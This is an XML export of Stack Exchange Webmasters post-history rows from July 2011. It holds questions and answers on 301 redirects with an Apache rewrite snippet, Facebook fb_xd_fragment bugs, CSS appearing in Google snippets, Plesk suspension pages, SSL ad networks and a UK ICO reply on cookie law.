  <row Id="40938" PostHistoryTypeId="2" PostId="17064" RevisionGUID="d40e2536-9449-4eb1-9589-8a4d8c09b68c" CreationDate="2011-07-19T01:53:42.640" UserId="1253" Text="Do a 301 redirect from bar.com to foo.com. That way everybody, including Google and your users, will automatically get forwarded to the foo.com content. The 301 HTTP status code will tell Google that the bar.com pages are now associated with their foo.com counterparts and to transfer all links and PageRank to them. It also tells them to use the foo.com page in their search results.&#xD;&#xA;&#xD;&#xA;If you use Apache you can use this snippet to do this. Just place it in a file called .htacess in your root web directory.&#xD;&#xA;&#xD;&#xA;    Options +FollowSymlinks&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^(www\.)?bar\.com$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://www.foo.com/$1 [R=301,L]" />
  <row Id="40939" PostHistoryTypeId="5" PostId="17063" RevisionGUID="58de326e-d72e-4c13-a884-2f1d48e56c23" CreationDate="2011-07-19T01:57:22.310" UserId="1253" Comment="modified tags, minor text edits" Text="I have 2 domains `http://foo.com` and a `http://bar.com`. `http://bar.com` is just a domain alias for `http://foo.com` so they have the same content. Results for both domains show up on google, I'd rather all google results point to `http://foo.com`. I've tried looking for this option in google webmaster tools but can't find it. How do I do this?" />
  <row Id="40940" PostHistoryTypeId="6" PostId="17063" RevisionGUID="58de326e-d72e-4c13-a884-2f1d48e56c23" CreationDate="2011-07-19T01:57:22.310" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;seo&gt;&lt;google-webmaster-tools&gt;&lt;multiple-domains&gt;&lt;search-enginesgoogle&gt;" />
  <row Id="40941" PostHistoryTypeId="5" PostId="17064" RevisionGUID="4c50311f-f793-4c0a-b851-3f097bfd768a" CreationDate="2011-07-19T01:59:41.513" UserId="1253" Comment="deleted 131 characters in body" Text="Google Webmaster Tools does not have any functionality for this.&#xD;&#xA;&#xD;&#xA;You can use [canonical URLs][1] to tell Google which is the preferred domain.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="40945" PostHistoryTypeId="2" PostId="17066" RevisionGUID="75d0c526-7235-49c6-bf29-3f4510460e0d" CreationDate="2011-07-19T03:00:08.943" UserId="8687" Text="Ditto most of the other answers. Though you should at least support IE6+. If a visitor came using IE5 or less, I'd be inclined to block and ask them to upgrade. Probably no loss as someone with a browser that is that out of date is unlikely to buy online anyway.&#xD;&#xA;&#xD;&#xA;Have a look at [Chromeframe][1]. It is a plug-in for older browsers such as IE6 which allows them to run Chrome within IE and thus get the support of the Chrome features without the need to actually upgrade their system. For the web developer, all you need is a little javascript and a metatag on your page and users of old browsers will be directed to install Chromeframe, after which they should be able to view your site without problem.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/chrome/chromeframe/" />
  <row Id="40946" PostHistoryTypeId="25" PostId="17063" RevisionGUID="836d510d-612e-43d0-a74a-55efd2de971e" CreationDate="2011-07-19T03:31:46.913" Comment="http://twitter.com/#!/StackWebmasters/status/93161079085084672" />
  <row Id="40947" PostHistoryTypeId="2" PostId="17067" RevisionGUID="fcda99a4-6e8c-41ef-b737-fc91f8703257" CreationDate="2011-07-19T06:13:03.767" UserId="7296" Text="When using jQuery use this plugin.&#xD;&#xA;&#xD;&#xA;http://www.silvesterwebdesigns.com/free-scripts/ie6-jquery-upgrade-prompt&#xD;&#xA;&#xD;&#xA;That will popup a message just for IE6 users only (you could change to also inclue IE7,8). The benifit of this is:&#xD;&#xA;&#xD;&#xA; 1. Only people with older browsers will see it&#xD;&#xA; 2. It gives the user the option to dimiss the message so it will not display again." />
  <row Id="40951" PostHistoryTypeId="5" PostId="5737" RevisionGUID="187c5673-7072-48fe-8585-1286ba21ccd2" CreationDate="2011-07-19T06:24:59.677" UserId="999" Comment="added 45 characters in body" Text="While I was attending this event ([http://worldtour.fogcreek.com/][1]) I noticed this page had custom fonts for the Address part in the top left corner (i.e &quot;Fog Creek Software 55 Broadway Fl 55....&quot;) When I looked at the source code I couldn't really determine what they were doing but it satisfied these conditions:&#xD;&#xA;&#xD;&#xA; 1. Works well with IE 7,8 (and all other browsers)&#xD;&#xA; 2. Allows you to use any font you want&#xD;&#xA; 3. Is text base, i.e no flash, images, etc. Thus it is better for SEO and indexing and such.&#xD;&#xA;&#xD;&#xA;So what technique are they using here???&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://worldtour.fogcreek.com" />
  <row Id="40952" PostHistoryTypeId="25" PostId="17062" RevisionGUID="95c2cbbd-4def-49ef-ac6b-02b6d037470c" CreationDate="2011-07-19T06:31:46.757" Comment="http://twitter.com/#!/StackWebmasters" />
  <row Id="40953" PostHistoryTypeId="17" PostId="17069" RevisionGUID="d6845c7b-3f24-481e-bb75-b9b0b07f2dfe" CreationDate="2011-07-19T07:52:33.173" UserId="-1" Comment="from http://superuser.com/questions/312235/how-to-create-a-download-file-only-for-members" Text="" />
  <row Id="40954" PostHistoryTypeId="2" PostId="17069" RevisionGUID="92caa0e1-55f5-4d10-937a-70fc86731834" CreationDate="2011-07-19T07:25:10.533" UserDisplayName="Foolish" Text="I want to create a download link only for members.&#xD;&#xA;How can I do that ?&#xD;&#xA;" />
  <row Id="40955" PostHistoryTypeId="1" PostId="17069" RevisionGUID="92caa0e1-55f5-4d10-937a-70fc86731834" CreationDate="2011-07-19T07:25:10.533" UserDisplayName="Foolish" Text="How to create a download file only for members?" />
  <row Id="40956" PostHistoryTypeId="3" PostId="17069" RevisionGUID="92caa0e1-55f5-4d10-937a-70fc86731834" CreationDate="2011-07-19T07:25:10.533" UserDisplayName="Foolish" Text="&lt;joomla&gt;" />
  <row Id="40959" PostHistoryTypeId="2" PostId="17070" RevisionGUID="037f4c82-3432-423d-9af7-9e14c83d968a" CreationDate="2011-07-19T09:18:23.997" UserId="5465" Text="I have added a Facebook like box and like buttons on [my blog](http://pedazosdecarbono.blogspot.com/) and, recently, I've been seeing on analytics a lot of hits to pages ending with `?fb_xd_fragment=`.&#xD;&#xA;&#xD;&#xA;I've found a [related thread](http://forum.developers.facebook.net/viewtopic.php?id=60571) on the Facebook Forums which, worryingly, mentions that for some weird reason IE8 users are being redirected to a blank page! This is terrible, am I loosing a significant portion of my visitors because when they try to visit my blog they're greeted by a blank page? (I don't have at hand a Windows computer with IE8 to check)&#xD;&#xA;&#xD;&#xA;Also on a [related question](http://stackoverflow.com/questions/2955012/facebook-javascript-sdk-fb-xd-fragment) on SO, it is suggested to add `xmlns:fb=&quot;facebook.com/2008/fbml&quot;` to the main `html` tag (which I've done just now), and to add a `channel.html` file. But I can't do the later, because my blog is hosted on blogger and I can't upload html files.&#xD;&#xA;&#xD;&#xA;So my question is twofold: (1) even after adding the `xmlns:fb`, could this still be an issue that affects IE8 visitors and (2) how should I go about to fix it for my blog on blogger?" />
  <row Id="40960" PostHistoryTypeId="1" PostId="17070" RevisionGUID="037f4c82-3432-423d-9af7-9e14c83d968a" CreationDate="2011-07-19T09:18:23.997" UserId="5465" Text="Why am I getting hits to pages with ?fb_xd_fragment=" />
  <row Id="40961" PostHistoryTypeId="3" PostId="17070" RevisionGUID="037f4c82-3432-423d-9af7-9e14c83d968a" CreationDate="2011-07-19T09:18:23.997" UserId="5465" Text="&lt;facebook&gt;&lt;analytics&gt;&lt;blogger&gt;" />
  <row Id="40963" PostHistoryTypeId="25" PostId="17058" RevisionGUID="8897c5b3-d885-4e0c-8cff-10d065059399" CreationDate="2011-07-19T09:31:46.663" Comment="http://twitter.com/#!/StackWebmasters/status/93251674822557696" />
  <row Id="40964" PostHistoryTypeId="2" PostId="17072" RevisionGUID="41c0117f-6b1b-40f8-ba79-914ec5e59e69" CreationDate="2011-07-19T09:34:24.447" UserId="7473" Text="I have now had a response from the ICO although it is not entirely relevant any more given that the introduction has been pushed back and the law and guidance maybe refined in the mean time.&#xD;&#xA;&#xD;&#xA;&gt; Thank you for your correspondence regarding the new Privacy and&#xD;&#xA;&gt; Electronics Communications Regulations.&#xD;&#xA;&gt; &#xD;&#xA;&gt; I would begin by pointing out that I will not be posting my response&#xD;&#xA;&gt; on the website you suggest; however feel free to disseminate the&#xD;&#xA;&gt; information contained here. I would also state that the rhetorical&#xD;&#xA;&gt; first of your two questions is not one I am in a position to answer.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Moving on, you ask:&#xD;&#xA;&gt; &#xD;&#xA;&gt;&gt; ‘Google Analytics and the EU cookie directive. Who will fall foul of&#xD;&#xA;&gt;&gt; the law? Google or the developer?’&#xD;&#xA;&gt; &#xD;&#xA;&gt; As an introduction, the new rule relating to cookies is the UK&#xD;&#xA;&gt; implementation of amendments to existing EU legislation.  Prior to the&#xD;&#xA;&gt; EU level legislation being passed, a consultation took place across&#xD;&#xA;&gt; Europe.  Following the passing of the EU Cookie Directive (Directive&#xD;&#xA;&gt; 2009/136/EC), all EU member states are legally obliged to pass&#xD;&#xA;&gt; domestic legislation echoing the rules set out in that Directive.  In&#xD;&#xA;&gt; the UK, the amendments have been prepared by the Department of&#xD;&#xA;&gt; Culture, Media and Sport (DCMS) and the ICO is the body tasked with&#xD;&#xA;&gt; overseeing the new rules – which have been passed as amendments to the&#xD;&#xA;&gt; existing Privacy and Electronic Communications Regulations 2003&#xD;&#xA;&gt; (PECR).&#xD;&#xA;&gt; &#xD;&#xA;&gt; If you have not already read it, you may find Ed Vaisey’s letter on&#xD;&#xA;&gt; behalf of DCMS as Minister for Culture, Communications and Creative&#xD;&#xA;&gt; Industries is helpful in explaining the approach adopted by the DCMS&#xD;&#xA;&gt; in implementing this EU Directive.  The open letter is available at:&#xD;&#xA;&gt; http://www.culture.gov.uk/images/publications/cookies_open_letter.pdf. &#xD;&#xA;&gt; &#xD;&#xA;&gt; In particular this letter best addresses your comments regarding the&#xD;&#xA;&gt; use of a web browser to indicate a user’s preferences.  Using a&#xD;&#xA;&gt; browser in this way is something which the amended PECR allow,&#xD;&#xA;&gt; however, it is our opinion that currently technology is not advanced&#xD;&#xA;&gt; enough for this to be practicable (please see both the letter referred&#xD;&#xA;&gt; to above, and our guidance: Read the ICO’s advice to organisations&#xD;&#xA;&gt; about how to prepare for the new rules on cookies).&#xD;&#xA;&gt; &#xD;&#xA;&gt; There is no specific exemption for analytics tools such as Google&#xD;&#xA;&gt; Analytics.  The only exception to the basic cookie rule is that which&#xD;&#xA;&gt; relates to cookies which are ‘strictly necessary’ for a service&#xD;&#xA;&gt; requested by the user.   This exception is a narrow one due to the&#xD;&#xA;&gt; second part (‘for a service requested by the user’) – and you will see&#xD;&#xA;&gt; from our guidance that the exception would not apply to cookies which&#xD;&#xA;&gt; collect statistical information about website users, or which have the&#xD;&#xA;&gt; aim of improving the overall website look. &#xD;&#xA;&gt; &#xD;&#xA;&gt; In respect of ‘other marketing network cookies’ – the same rules&#xD;&#xA;&gt; regarding consent, and strict necessity, apply as set out above.&#xD;&#xA;&gt; &#xD;&#xA;&gt; The PECR themselves do not set the definition of ‘consent’ for the&#xD;&#xA;&gt; purposes of the cookie rule.  The definition of ‘consent’ which we&#xD;&#xA;&gt; therefore rely on is that given in Directive 95/46/EC – the Data&#xD;&#xA;&gt; Protection Directive (which you can access online at:&#xD;&#xA;&gt; http://eur-lex.europa.eu/LexUriServ/LexUriServ.do?uri=CELEX:31995L0046:en:HTML).&#xD;&#xA;&gt; The Directive defines consent at article 2(h)). At this point, we have&#xD;&#xA;&gt; not issued additional guidance regarding what constitutes consent in&#xD;&#xA;&gt; the context of the new rule on cookies – on the basis that this is no&#xD;&#xA;&gt; different to the existing guidance on consent.  You can find out more&#xD;&#xA;&gt; about consent on our website at:&#xD;&#xA;&gt; http://www.ico.gov.uk/for_organisations/data_protection/the_guide/conditions_for_processing.aspx&#xD;&#xA;&gt; (scroll down to the heading ‘consent’).&#xD;&#xA;&gt; &#xD;&#xA;&gt; As you have no doubt already seen, our cookie guidance considers&#xD;&#xA;&gt; various different ways of obtaining consent.  As further advances are&#xD;&#xA;&gt; made in respect of this new rule on cookies, we may add further&#xD;&#xA;&gt; guidance to our existing guidance.&#xD;&#xA;&#xD;&#xA;It doesn't really answer the question from what I can see. There is no distinction between cookies explicitly set by the developer and those set by other services on behalf of the developer in the response." />
  <row Id="40965" PostHistoryTypeId="2" PostId="17073" RevisionGUID="c653a0c6-96fa-4936-a14a-2bc18378495b" CreationDate="2011-07-19T09:39:09.190" UserId="1643" Text="There are two ways to do this. The quick way is to export the data from Analytics, but that only lets you do 500 pages at a time so if you have hundreds of pages then it's going to take a while. Once you've exported you can then cross reference against your list using the VLOOKUP function.&#xD;&#xA;&#xD;&#xA;Alternatively you could write something using the [data API][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/gdata/gdataDeveloperGuide.html" />
  <row Id="40966" PostHistoryTypeId="17" PostId="17074" RevisionGUID="772677c1-d2c5-46d3-9612-aa745676668e" CreationDate="2011-07-19T10:27:49.600" UserId="-1" Comment="from http://stackoverflow.com/questions/6743360/css-being-displayed-by-google-spiders" Text="" />
  <row Id="40967" PostHistoryTypeId="17" PostId="17075" RevisionGUID="cc2593a0-fbfe-49ae-a146-3b7a76d6215d" CreationDate="2011-07-19T10:27:49.600" UserId="-1" Comment="from http://stackoverflow.com/questions/6743360/css-being-displayed-by-google-spiders" Text="" />
  <row Id="40968" PostHistoryTypeId="2" PostId="17075" RevisionGUID="876149a3-1465-4daa-95c0-ec2e22a11657" CreationDate="2011-07-19T07:16:29.090" UserId="661" Text="The &quot;CSS&quot; is actually text in the explicit description of the page:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;description&quot; content=&quot;.content { font-family:verdana; font-size:14px; font-weight:normal } We often use images in a webpage.To insert images in our webpage &amp;lt; img&amp;gt; tag is used in HTML. HTML&amp;lt; Img&amp;gt;tag And Src Attribute Images are inserted into our HTML docs using the&quot; /&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;… which Google often uses instead of trying to extract an automatic description from the page content." />
  <row Id="40969" PostHistoryTypeId="2" PostId="17074" RevisionGUID="4020ae79-99be-42ff-bd31-816626d49ff5" CreationDate="2011-07-19T07:00:40.390" UserDisplayName="vipul_vj" Text="I have written an article &lt;a href=&quot;http://programmingbulls.com/html-image-tag-1&quot;&gt;HTML Image Tag&lt;/a&gt; for the site and it has been indexed by Google. But when I search it, google displays&#xD;&#xA;&#xD;&#xA;&gt; HTML Image Tag - ProgrammingBulls&#xD;&#xA;&gt; &#xD;&#xA;&gt; `http://programmingbulls.com/html-image-tag-1:`&#xD;&#xA;&gt; &#xD;&#xA;&gt; content { font-family:verdana; font-size:14px; font-weight:normal }&#xD;&#xA;&#xD;&#xA;&gt; We often use images in a webpage. To insert images in our webpage &lt; img&gt; tag is used in. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Why is CSS displayed in the google search? I know that CSS and HTML is ignored by Google but due to some reason HTML is being displayed.&#xD;&#xA;" />
  <row Id="40970" PostHistoryTypeId="1" PostId="17074" RevisionGUID="4020ae79-99be-42ff-bd31-816626d49ff5" CreationDate="2011-07-19T07:00:40.390" UserDisplayName="vipul_vj" Text="CSS being Displayed by Google spiders" />
  <row Id="40971" PostHistoryTypeId="3" PostId="17074" RevisionGUID="4020ae79-99be-42ff-bd31-816626d49ff5" CreationDate="2011-07-19T07:00:40.390" UserDisplayName="vipul_vj" Text="&lt;html&gt;&lt;tags&gt;" />
  <row Id="40972" PostHistoryTypeId="5" PostId="5743" RevisionGUID="3a992511-33db-4c6a-9ad4-1533c981561d" CreationDate="2011-07-19T11:07:31.737" UserId="233" Comment="info on text shadow" Text="They are using the `@font-face` technique. By using a variety of files and some pseudo browser detection they are able to serve font's consistently in all browsers. The use:&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;True Type and WOFF for Webkit, Gecko, and Opera&lt;/li&gt;&#xD;&#xA;&lt;li&gt;EOT for Internet Explorer&lt;/li&gt;&#xD;&#xA;&lt;li&gt;SVG for iOS&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;Because of the way the CSS is structured, it will check to see if the font is avilable locally, if it's not and it's IE, it will use the EOT and not load anything else. And if it's not IE it will load the font it will need.&#xD;&#xA;&#xD;&#xA;Check out &lt;a href=&quot;http://www.fontsquirrel.com/fontface&quot;&gt;Font Squirrel&lt;/a&gt; for more info and @font-face kit's and a generator of @font-face fonts and CSS.&#xD;&#xA;&#xD;&#xA;They are also using `text-shadow` with a color close to that of the text. This creates the blurred effect on the text." />
  <row Id="40973" PostHistoryTypeId="2" PostId="17076" RevisionGUID="1016120f-d303-4e93-a600-acb2d1585526" CreationDate="2011-07-19T11:16:42.870" UserId="233" Text="David is correct, the CSS code is actually in the meta description. The reason for this is most likely your CMS is generating the meta description based on the first 255 characters of the article.&#xD;&#xA;&#xD;&#xA;The first paragraph (inside `div.content.pageview`) contains that CSS. To fix this you should either move that CSS to your stylesheet, or put the style block at the bottom of the article instead of the top.&#xD;&#xA;&#xD;&#xA;However, if you are only auto-generating the description based on the content of the article, I would suggest removing it entirely - or better yet write your own unique description for every page. This tag does not really help the ranking, especially when it just duplicates content already on the page." />
  <row Id="40974" PostHistoryTypeId="2" PostId="17077" RevisionGUID="f46f9d3d-c1a6-4251-8e0a-f8a2904a2ea6" CreationDate="2011-07-19T11:47:04.310" UserId="9046" Text="I have suspended a website on Plesk and i want to show users a custom page. Do you guys know how to do it?&#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;&#xD;&#xA;Edit: Typo" />
  <row Id="40975" PostHistoryTypeId="1" PostId="17077" RevisionGUID="f46f9d3d-c1a6-4251-8e0a-f8a2904a2ea6" CreationDate="2011-07-19T11:47:04.310" UserId="9046" Text="Custom Page for Suspended Website - Plesk" />
  <row Id="40976" PostHistoryTypeId="3" PostId="17077" RevisionGUID="f46f9d3d-c1a6-4251-8e0a-f8a2904a2ea6" CreationDate="2011-07-19T11:47:04.310" UserId="9046" Text="&lt;plesk&gt;" />
  <row Id="40984" PostHistoryTypeId="5" PostId="17077" RevisionGUID="c8ceb3ca-e664-404b-b724-dc2fc2cd3254" CreationDate="2011-07-19T11:55:34.927" UserId="1253" Comment="deleted 34 characters in body" Text="I have suspended a website on Plesk and i want to show users a custom page. Do you guys know how to do it?&#xD;&#xA;" />
  <row Id="40985" PostHistoryTypeId="10" PostId="17069" RevisionGUID="2c39abe1-4790-4335-88ec-c9084582bedc" CreationDate="2011-07-19T11:58:01.760" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="40986" PostHistoryTypeId="2" PostId="17079" RevisionGUID="1f4e9a8d-5274-4358-b10b-645848a0e018" CreationDate="2011-07-19T12:29:47.683" UserId="8957" Text="on a page linked ([this one][1]) on the thread you linked it said:&#xD;&#xA;&#xD;&#xA;&gt; This Javascript to escape being framed on the page is the source of&#xD;&#xA;&gt; the problem:&#xD;&#xA;&gt; &#xD;&#xA;&gt; &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;&gt;     &lt;!--&#xD;&#xA;&gt;     if (parent.frames.length &gt; 0) { parent.location.href =&#xD;&#xA;&gt; location.href; }&#xD;&#xA;&gt;     --&gt; &lt;/script&gt;&#xD;&#xA;&gt; &#xD;&#xA;&gt; When I remove that, Internet Explorer works.&#xD;&#xA;&gt; &#xD;&#xA;&gt; The page works fine in both Firefox and Chrome with that code included&#xD;&#xA;&gt; on the page.&#xD;&#xA;&#xD;&#xA;I unfortunately also can not reproduce the problem, but i hope that helps.&#xD;&#xA;&#xD;&#xA;  [1]: http://bugs.developers.facebook.net/show_bug.cgi?id=9777" />
  <row Id="40987" PostHistoryTypeId="25" PostId="17033" RevisionGUID="cd4f3225-334e-4263-b8ca-c643c54ca696" CreationDate="2011-07-19T12:31:47.440" Comment="http://twitter.com/#!/StackWebmasters/status/93296973762920448" />
  <row Id="40988" PostHistoryTypeId="17" PostId="17080" RevisionGUID="7ea56661-0e33-427a-8b54-cc12240ca4ff" CreationDate="2011-07-19T12:35:58.090" UserId="-1" Comment="from http://stackoverflow.com/questions/6713741/ad-service-that-supports-ssl-secure-publishing" Text="" />
  <row Id="40989" PostHistoryTypeId="17" PostId="17081" RevisionGUID="d7e8431b-a03a-4068-93c9-f0b9e7c6e6e7" CreationDate="2011-07-19T12:35:58.090" UserId="-1" Comment="from http://stackoverflow.com/questions/6713741/ad-service-that-supports-ssl-secure-publishing" Text="" />
  <row Id="40990" PostHistoryTypeId="2" PostId="17081" RevisionGUID="1b210d1a-29b5-4658-9247-ac2cdc6477c8" CreationDate="2011-07-19T05:15:31.137" UserId="5127" Text="[BuySellAds](http://www.buysellads.com) offers SSL ad code, but it's not exactly an AdSense-type network. If you have a high quality site with decent traffic you should have no trouble selling ads directly to advertisers through them, though. There are enough advertisers actively checking out properties available in their directory." />
  <row Id="40991" PostHistoryTypeId="2" PostId="17080" RevisionGUID="3040e521-3c0b-4046-8001-b29f06898ee5" CreationDate="2011-07-15T22:16:14.097" UserDisplayName="user847229" Text="Is there an add service like adsense that supports SSL ads?  I wish to put ads on a secured (https) pages but Google Adsense doesn't support it.  I know Adbrite works for text based SSL ads but I would prefer image based ads." />
  <row Id="40992" PostHistoryTypeId="1" PostId="17080" RevisionGUID="3040e521-3c0b-4046-8001-b29f06898ee5" CreationDate="2011-07-15T22:16:14.097" UserDisplayName="user847229" Text="Ad service that supports ssl (secure publishing)" />
  <row Id="40993" PostHistoryTypeId="3" PostId="17080" RevisionGUID="3040e521-3c0b-4046-8001-b29f06898ee5" CreationDate="2011-07-15T22:16:14.097" UserDisplayName="user847229" Text="&lt;ssl&gt;&lt;ssl-certificate&gt;&lt;google-adsense&gt;" />
  <row Id="40994" PostHistoryTypeId="2" PostId="17082" RevisionGUID="6d4049af-3716-4c44-8574-78bf0a7da651" CreationDate="2011-07-19T12:50:45.037" UserId="1643" Text="There are a couple of ways to do this:&#xD;&#xA;&#xD;&#xA;One way is to unsuspend it and then move all the site files into a subdirectory. That means that every page will return a 404 error. You then edit [your custom error page][1] for that error to show the users the custom page.&#xD;&#xA;&#xD;&#xA;Or you can put it in [maintenance mode][2] and edit your 503 custom error page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://download1.parallels.com/Plesk/PP10/10.2.0/Doc/en-US/online/plesk-administrator-guide/plesk-control-panel-user-guide/index.htm?fileName=65163.htm&#xD;&#xA;  [2]: http://download1.parallels.com/Plesk/PP10/10.2.0/Doc/en-US/online/plesk-administrator-guide/plesk-control-panel-user-guide/index.htm?fileName=65163.htm" />
  <row Id="40995" PostHistoryTypeId="2" PostId="17083" RevisionGUID="44cc5d42-eab7-4392-99a9-51d23934a77a" CreationDate="2011-07-19T13:47:48.573" UserId="9051" Text="You also can use the [Speedy Mirror][1] services. It's free.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.speedymirror.com" />
  <row Id="40999" PostHistoryTypeId="5" PostId="16946" RevisionGUID="5fb0c6c1-1465-4ff5-9e6f-68e779bdb6b5" CreationDate="2011-07-19T14:00:44.633" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Ad service that supports ssl (secure publishing)](http://webmasters.stackexchange.com/questions/17080/ad-service-that-supports-ssl-secure-publishing)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have recently enabled SSL on my site, now my google ads cause some browsers to complain about unsecured content (because Google Ads are served over http). Are there any ad networks that serve ads over SSL?" />
  <row Id="41000" PostHistoryTypeId="10" PostId="16946" RevisionGUID="9f0367cf-4c52-45ea-a0af-7f02f4297aab" CreationDate="2011-07-19T14:00:43.993" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="41001" PostHistoryTypeId="2" PostId="17084" RevisionGUID="24baa587-ad35-4311-b3a7-52a56a67f5a1" CreationDate="2011-07-19T14:42:49.970" UserId="60" Text="Looking at the [Facebook Platform bug][1] (marked &quot;WontFix&quot;) a workaround seems to be to add the following to your pages:&#xD;&#xA;&#xD;&#xA;From [comment 14][2]:&#xD;&#xA;&#xD;&#xA;    &lt;!-- Correct fb_xd_fragment Bug Start --&gt; &#xD;&#xA;    &lt;script&gt; &#xD;&#xA;    document.getElementsByTagName('html')[0].style.display='block';&#xD;&#xA;    &lt;/script&gt; &#xD;&#xA;    &lt;!-- Correct fb_xd_fragment Bug End --&gt;&#xD;&#xA;&#xD;&#xA;Alternatively, you could look into implementing the solution proposed by [comment 66][3], however as you're hosted on Blogspot I don't think that solution is open to you, as it requires the creation of an additional file on the server.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bugs.developers.facebook.net/show_bug.cgi?id=9777&#xD;&#xA;  [2]: http://bugs.developers.facebook.net/show_bug.cgi?id=9777#c14&#xD;&#xA;  [3]: http://bugs.developers.facebook.net/show_bug.cgi?id=9777#c66" />
  <row Id="41002" PostHistoryTypeId="25" PostId="17074" RevisionGUID="38581f9c-b4ba-4412-8ffb-262aecace196" CreationDate="2011-07-19T15:31:48.220" Comment="http://twitter.com/#!/StackWebmasters/status/93342276394299392" />
  <row Id="41003" PostHistoryTypeId="2" PostId="17085" RevisionGUID="a4022202-2d7e-44fa-92fa-1a3d0599abdb" CreationDate="2011-07-19T15:38:28.780" UserId="60" Text="Annoyingly, Google's [help for Keywords][1] isn't all that helpful:&#xD;&#xA;&#xD;&#xA;&gt; The significance of each keyword reflects how often it's found on your site's pages. [...] If expected keywords are missing from this page, this could be for a couple of reasons:&#xD;&#xA;&#xD;&#xA;&gt; - The Keywords list will sometimes exclude words that Google has determined to be boilerplate text or common words. The actual excluded words vary from site to site.&#xD;&#xA;&#xD;&#xA;So it's clearly not picking up on your words (Log, Copyright, Privacy) as boilerplate/common - do they appear in a similar place in the mark-up on every page, or are they scattered around a bit?&#xD;&#xA;&#xD;&#xA;It's possible that once HTML5 has more traction, the semantic elements of `&lt;header&gt;`, `&lt;nav&gt;`, `&lt;section&gt;`, `&lt;article&gt;` and `&lt;footer&gt;` would come into play, and therefore content within `&lt;section&gt;` elements would automatically be considered more significant than the content in `&lt;header&gt;` or `&lt;footer&gt;`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/support/webmasters/bin/answer.py?answer=35255&amp;hl=en" />
  <row Id="41004" PostHistoryTypeId="2" PostId="17086" RevisionGUID="5cccdf3d-bedb-4ece-88a0-ae6c8b45ea37" CreationDate="2011-07-19T15:57:29.653" UserId="60" Text="Have you confirmed your SPF and domain keys are set up correctly, and are valid for you emails?&#xD;&#xA;&#xD;&#xA;If you send an email to `spf-test@openspf.org`, your email will be rejected, and the reply will contain details of the test results.&#xD;&#xA;&#xD;&#xA;Certainly, I found that while I thought I had things configured correctly, because of the way my hosts were sending emails through a different server, I needed to make further tweaks." />
  <row Id="41005" PostHistoryTypeId="2" PostId="17087" RevisionGUID="59066463-4489-4605-8006-d0ce07d4af03" CreationDate="2011-07-19T16:12:28.777" UserId="9054" Text="As others have already noted, we do not have total control. But I think it is worth mentioning a couple things I find helpful in getting browsers to render things similarly overall. Both are &quot;back to basics&quot; kind of things that many of you are already doing, but I thought them worth mentioning since the foundation you build upon often sets you up for success or failure...&#xD;&#xA;&#xD;&#xA;CSS Reset. The concept is simple, you set HTML tag defaults in a stylesheet to set a common starting point for HTML rendering. Here is an article and example: http://meyerweb.com/eric/tools/css/reset/&#xD;&#xA;&#xD;&#xA;Doctype Declaration. http://htmlhelp.com/tools/validator/doctype.html&#xD;&#xA;&#xD;&#xA;" />
  <row Id="41006" PostHistoryTypeId="5" PostId="17044" RevisionGUID="97c7c4cd-5beb-479b-8729-867a62606b77" CreationDate="2011-07-19T16:31:58.243" UserId="3706" Comment="added comment link to article" Text="[PHP][1] is the [most used by far][2]. The fact the entire stack is free helps but it gained its popularity because of the ease of integration. It is extremely easy combine static HTML with PHP or even add features to a static side.&#xD;&#xA;&#xD;&#xA;There is also a huge volume of general-purpose platforms written in PHP. Think that every Wordpress-Powered blog or site is a PHP site. There are tons more and plenty of others are hugely popular.&#xD;&#xA;&#xD;&#xA;It turns out that the most popular is different from the most used depending how you count. For very large and complex sites, people tend to prefer something more structured such as Python, Java and C++. Often, the largest sites will use a combination of languages.&#xD;&#xA;&#xD;&#xA;For historical reasons, certain languages get adopted at different rates depending on the domain. For example, after PHP, content sites often use Python. Banking and service sites are more likely to use Java. C++ and assembly is often used to boost performance in key areas but I have not seen any (there probably are some though) written entirely using these.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.php.net&#xD;&#xA;  [2]: http://w3techs.com/technologies/overview/programming_language/all" />
  <row Id="41007" PostHistoryTypeId="24" PostId="17044" RevisionGUID="97c7c4cd-5beb-479b-8729-867a62606b77" CreationDate="2011-07-19T16:31:58.243" Comment="Proposed by 3706 approved by 1064 edit id of 443" />
  <row Id="41008" PostHistoryTypeId="2" PostId="17088" RevisionGUID="9fadff8f-da54-44e5-a4be-b2d2f0e1061d" CreationDate="2011-07-19T16:37:15.797" UserId="9054" Text="iBBDemo is visually helpful for showing iPhone and iPad page rendering to business users. http://labs.blackbaud.com/NetCommunity/Page.aspx?pid=249 It is not as accurate at using the SDK, of course, but it is free and simple, and works for us Windows users.&#xD;&#xA;&#xD;&#xA;Also, if you use Adobe Dreamweaver, check out their integrated &quot;Device Central&quot;. It has an very large library of mobile device specifications that you can leverage to see how your page will appear on the Mobile Web." />
